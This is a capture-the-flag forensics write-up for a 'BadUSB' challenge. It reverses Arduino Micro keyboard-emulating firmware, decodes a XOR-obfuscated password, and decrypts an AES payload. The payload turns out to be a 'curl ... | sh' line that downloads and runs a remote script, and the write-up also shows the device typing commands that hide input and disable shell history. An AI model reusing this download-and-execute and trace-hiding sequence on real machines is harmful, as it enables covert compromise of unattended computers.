BadUSB
BadUSB
Platform: duckerz | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: avr_firmware_reversing, github_branch_enumeration, hid_attack_analysis, openssl_aes_decryption, xor_single_byte_decryption
Summary
Task: Analyze BadUSB firmware (Arduino Micro ELF) to identify the attacker. Solution: Reverse AVR firmware, extract XOR key (0x48) to decrypt password, use it to decrypt AES-256-CBC payload revealing GitHub URL, enumerate repository branches to find hidden fl46 branch with flag.
BadUSB — duckerz CTF
Description
Когда я отвернулся, чтобы взять чашку чая, неизвестный воспользовался моим USB-портом и взломал меня! Помогите мне определить, кто это был.
Files: BadUSB.elf — ELF 32-bit LSB executable, Atmel AVR 8-bit (ATmega32u4, Arduino Micro), statically linked, with debug_info, not stripped.
Analysis
The file is firmware for Arduino Micro (ATmega32u4), a classic device for BadUSB/HID attacks. The device emulates a USB keyboard and automatically types commands on the victim's computer.
String Extraction
bash read-only • copy allowedstrings BadUSB.elf
Key findings:
Arduino LLC/Arduino Micro— device identificationterm— opens terminal on victim's machinestty -echo— hides keyboard inputexport HISTFILE=— disables bash history loggingecho 'U2FsdGVkX1/HHvQ8yBXzgMQ+1eJDkblHvPcMfy6LImuJyvT3OGhNLIGCTeD+UeemguAsiN/ZLke0fVT4eHVSTGapmIQYUotoz9fjKutjXTwnwuE39j4sPAhfGBXyjpZB5JXGxtcSwuf3QhmKuuzffA==' | openssl enc -aes-256-cbc -d -a -pass pass:— AES-256-CBC payload decryption with password~qxp~|.*xx— XOR-encoded password string2>/dev/null| bash 2>/dev/null— result is piped to bashexit— closes terminal
Debug symbols reveal functions: get_pass, crack, startTerminal, Keyboard_press, Keyboard_write, sendReport.
Build paths: /home/zavrik/.arduino15/..., /home/zavrik/DUCKERZ/Tasks/BadUSB, source file BadUSB.ino.
Solution
Step 1: Disassembling AVR Firmware
bash read-only • copy allowedavr-objdump -d BadUSB.elf > disasm.txt
Analysis of the main function (address 0x135c) revealed the attack sequence:
- Hardware initialization (USB, timers, pins)
delay(1)— wait 1msKeyboard.press(0x83)— GUI key press (opens search/run on victim's OS)delay(45)— wait- Release all keys
- Type
term+ Enter — open terminal delay(100)— wait for terminal to openKeyboard.write(0xB0)— press Enterdelay(2000)— wait- Type
stty -echo— hide input delay(50)- Type
export HISTFILE=— disable history - XOR loop for password decryption
- Type full openssl command with decrypted password
- Type
2>/dev/null| bash 2>/dev/null— pipe to bash - Type
exit— close terminal
Step 2: Recovering the XOR Key
The critical XOR loop is located at addresses 0x1584–0x15a6:
asm read-only • copy allowed1584: 38 e4 ldi r19, 0x48 ; XOR key = 0x48 ('H') 1586: 08 17 cp r16, r24 ; loop counter check ... 159e: 2c 91 ld r18, X ; load byte from source 15a0: 23 27 eor r18, r19 ; XOR with 0x48 15a2: 21 93 st Z+, r18 ; store result 15a4: 01 96 adiw r24, 0x01 ; increment counter 15a6: ef cf rjmp .-34 ; jump back to loop start
Source data is taken from address 0x0234 in program memory. The string ~qxp~|.*xx is the XOR-encoded password.
Step 3: Decrypting the Password
python read-only • copy allowed#!/usr/bin/env python3 encoded = b'~qxp~|.*xx' key = 0x48 # 'H' password = ''.join(chr(b ^ key) for b in encoded) print(f"Password: {password}") # Result: 690864fb00
Verification: ~ (0x7E) ^ 0x48 = 0x36 = 6, q (0x71) ^ 0x48 = 0x39 = 9, x (0x78) ^ 0x48 = 0x30 = 0, etc.
Step 4: Decrypting the OpenSSL Payload
bash read-only • copy allowedecho 'U2FsdGVkX1/HHvQ8yBXzgMQ+1eJDkblHvPcMfy6LImuJyvT3OGhNLIGCTeD+UeemguAsiN/ZLke0fVT4eHVSTGapmIQYUotoz9fjKutjXTwnwuE39j4sPAhfGBXyjpZB5JXGxtcSwuf3QhmKuuzffA==' \ | openssl enc -aes-256-cbc -d -a -pass pass:690864fb00
Result:
curl https://raw.githubusercontent.com/6r347h4ck3r/BadUSB/refs/heads/main/hack.sh | sh
The BadUSB downloads and executes a script from GitHub user 6r347h4ck3r (leet-speak: "greathacker").
Step 5: Investigating the GitHub Repository
The main branch contained hack.sh — a decoy with echo "You will be hacked!".
Enumerating all repository branches revealed a hidden branch fl46 (leet-speak: "flag"):
bash read-only • copy allowed# List branches curl -s https://api.github.com/repos/6r347h4ck3r/BadUSB/branches | jq '.[].name' # "fl46" # "main" # Get flag from fl46 branch curl -s https://raw.githubusercontent.com/6r347h4ck3r/BadUSB/fl46/flag.txt # DUCKERZ{REDACTED}
Full Attack Chain (Reconstruction)
BadUSB.elf (Arduino Micro firmware)
→ Emulates keyboard
→ Opens terminal (GUI key + "term")
→ Hides traces (stty -echo, export HISTFILE=)
→ XOR decryption of password (key=0x48, "~qxp~|.*xx" → "690864fb00")
→ AES-256-CBC payload decryption with password
→ curl ... | sh (download and execute hack.sh)
→ Close terminal